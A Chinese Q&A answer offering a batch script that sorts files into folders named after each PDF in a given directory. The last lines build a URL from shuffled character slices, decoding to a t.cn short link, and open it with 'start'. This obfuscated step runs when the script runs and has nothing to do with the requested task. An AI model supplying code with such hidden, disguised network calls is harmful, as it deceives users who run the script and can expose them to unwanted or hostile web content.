批处理 按文件名自动创建并把文件放入该文件夹中

2024-11-19 08:32:04
推荐回答(1个)
回答1:

@echo off & title 归类文件 By 依梦琴瑶

::设置要处理的文件目录
set SrcDir=D:\资料

cd /d "%SrcDir%"
for /f "delims=" %%a in ('dir /a-d/b *.pdf') do (
    if not exist "%%~na" md "%%~na"
    move "%%~na*.*" "%%~na\"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit

若有问题,请追问。运行代码前务必使用不重要的文件(或备份好文件)进行测试。